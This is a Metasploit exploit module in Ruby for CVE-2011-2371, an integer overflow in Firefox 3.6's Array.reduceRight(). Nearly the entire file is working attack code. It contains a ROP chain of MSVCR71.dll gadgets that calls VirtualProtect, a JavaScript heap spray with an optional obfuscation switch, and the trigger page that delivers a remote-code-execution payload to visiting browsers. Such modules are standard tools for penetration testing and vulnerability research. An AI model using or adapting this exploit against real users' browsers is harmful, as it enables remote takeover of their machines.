##
# $Id: mozilla_reduceright.rb 13909 2011-10-13 03:16:15Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Mozilla Firefox Array.reduceRight() Integer Overflow",
      'Description'    => %q{
          This module exploits a vulnerability found in Mozilla Firefox 3.6. When an
        array object is configured with a large length value, the reduceRight() method
        may cause an invalid index being used, allowing abitrary remote code execution.
        Please note that the exploit requires a longer amount of time (compare to a
        typical browser exploit) in order to gain control of the machine.
      },
      'License'        => MSF_LICENSE,
      'Version'        => "$Revision: 13909 $",
      'Author'         =>
        [
          'Chris Rohlf',    #Matasano Security (Initial discovery according to Mozilla.org)
          'Yan Ivnitskiy',  #Matasano Security (Initial discovery with Chris?)
          'Matteo Memelli', #PoC from Exploit-DB
          'dookie2000ca',   #"Helping" ryujin (Matteo)
          'sinn3r',         #Metasploit
        ],
      'References'     =>
        [
          ['CVE', '2011-2371'],
          ['URL', 'http://http://www.exploit-db.com/exploits/17974/'],
          ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=664009']
        ],
      'Payload'        =>
        {
          'BadChars'        => "\x00",
          'PrependEncoder'  => "\xbc\x0c\x0c\x0c\x0c",
        },
      'DefaultOptions'  =>
        {
          'ExitFunction' => "process",
          'InitialAutoRunScript' => 'migrate -f',
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          #Windows XP / Vista / 7
          [ 'Mozilla Firefox 3.6.16', {} ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Jun 21 2011",
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
      ], self.class)
  end

  def junk
    return rand_text_alpha(4).unpack("L")[0].to_i
  end

  def on_request_uri(cli, request)

    agent = request.headers['User-Agent']
    if agent !~ /Firefox\/3\.6\.[16|17]/
      vprint_error("This browser is not supported: #{agent.to_s}")
      send_not_found(cli)
      return
    end

    #mona.py tekniq! + Payload
    rop = [
      0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
      0x7c37a140,  # Make EAX readable
      0x7c37591f,  # PUSH ESP # ... # POP ECX # POP EBP # RETN (MSVCR71.dll)
      0x7c348b06,  # EBP (NOP)
      0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
      0x7c37a140,  # <- VirtualProtect() found in IAT
      0x7c3530ea,  # MOV EAX,DWORD PTR DS:[EAX] # RETN (MSVCR71.dll)
      0x7c346c0b,  # Slide, so next gadget would write to correct stack location
      0x7c376069,  # MOV [ECX+1C],EAX # P EDI # P ESI # P EBX # RETN (MSVCR71.dll)
      0x7c348b06,  # EDI (filler)
      0x7c348b06,  # will be patched at runtime (VP), then picked up into ESI
      0x7c348b06,  # EBX (filler)
      0x7c376402,  # POP EBP # RETN (msvcr71.dll)
      0x7c345c30,  # ptr to push esp #  ret  (from MSVCR71.dll)
      0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
      0xfffff82f,  # size 20001 bytes
      0x7c351e05,  # NEG EAX # RETN (MSVCR71.dll)
      0x7c354901,  # POP EBX # RETN (MSVCR71.dll)
      0xffffffff,  # pop value into ebx
      0x7c345255,  # INC EBX # FPATAN # RETN (MSVCR71.dll)
      0x7c352174,  # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN (MSVCR71.dll)
      0x7c34d201,  # POP ECX # RETN (MSVCR71.dll)
      0x7c38b001,  # RW pointer (lpOldProtect) (-> ecx)
      0x7c34b8d7,  # POP EDI # RETN (MSVCR71.dll)
      0x7c34b8d8,  # ROP NOP (-> edi)
      0x7c344f87,  # POP EDX # RETN (MSVCR71.dll)
      0xffffffc0,  # value to negate, target value : 0x00000040, target: edx
      0x7c351eb1,  # NEG EDX # RETN (MSVCR71.dll)
      0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
      0x90909090,  # NOPS (-> eax)
      0x7c378c81,  # PUSHAD # ADD AL,0EF # RETN (MSVCR71.dll)
    ].pack('V*')

    table = [0x4141].pack('v*')
    table << [
      0x0c000048,
      junk,
      junk,
      junk,
      junk,
      junk,
      junk,
      junk,
      junk,
    ].pack('V*')
    table << [0x4141].pack('v*')
    table << [
      0x7c370eef,
      junk,
    ].pack('V*')
    table << [0x4141].pack('v*')
    table << [
      0x3410240c,
      0x0c00007c,
      junk,
      junk,
      junk,
      junk,
      junk,
      junk,
      junk,
      junk,
      junk,
      junk,
      junk,
      junk,
      0x0c00002e
    ].pack('V*')

    p = payload.encoded
    arch = Rex::Arch.endian(target.arch)
    js_payload = Rex::Text.to_unescape(rop + p, arch)
    js_ptrs    = Rex::Text.to_unescape(table, arch)

    #Pretty much based on Matteo's code except for the size adjustment to avoid a busted heap
    js = <<-JS
    var applet = document.getElementById('MyApplet');

    function spray() {
      var ptrs = unescape("#{js_ptrs}");

      var bheader  = 0x12/2;
      var nullt    = 0x2/2;

      var espoffset  = (7340 /2) - ptrs.length;
      var esppadding = unescape("%u0c0c%u0c0c");
      while(esppadding.length < espoffset) esppadding += esppadding;
      esppadding = esppadding.substring(0, espoffset);

      var payload = unescape("#{js_payload}");

      var tr_padding = unescape("%u0c0c%u0c0c");
      while (tr_padding.length < 0x7fa00) {tr_padding += tr_padding;}

      var dummy = ptrs + esppadding + payload + tr_padding;
      var hspray = dummy.substring(0,0x7fa00 - bheader - nullt);

      HeapBlocks = new Array()
      for (i=0;i<0x60;i++){
        HeapBlocks[i] += hspray;
      }
    }
    spray();
    obj = new Array;
    obj.length = 2197815302;
    f = function trigger(prev, myobj, indx, array) {
      alert(myobj[0]);
    }
    obj.reduceRight(f,1,2,3);
    JS

    js = js.gsub(/^\t\t/, '')

    if datastore['OBFUSCATE']
      js = ::Rex::Exploitation::JSObfu.new(js)
      js.obfuscate
    end

    html = <<-HTML
    <html>
    <head>
    </head>
    <body>
    <APPLET id="MyApplet" code="trigger.class" width=150 height=50>
    You need a Java-enabled browser to pwn this.
    </APPLET>
    <script>
    #{js}
    </script>
    </body>
    <html>
    HTML

    print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
    send_response(cli, html, {'Content-Type'=>'text/html'})
  end
end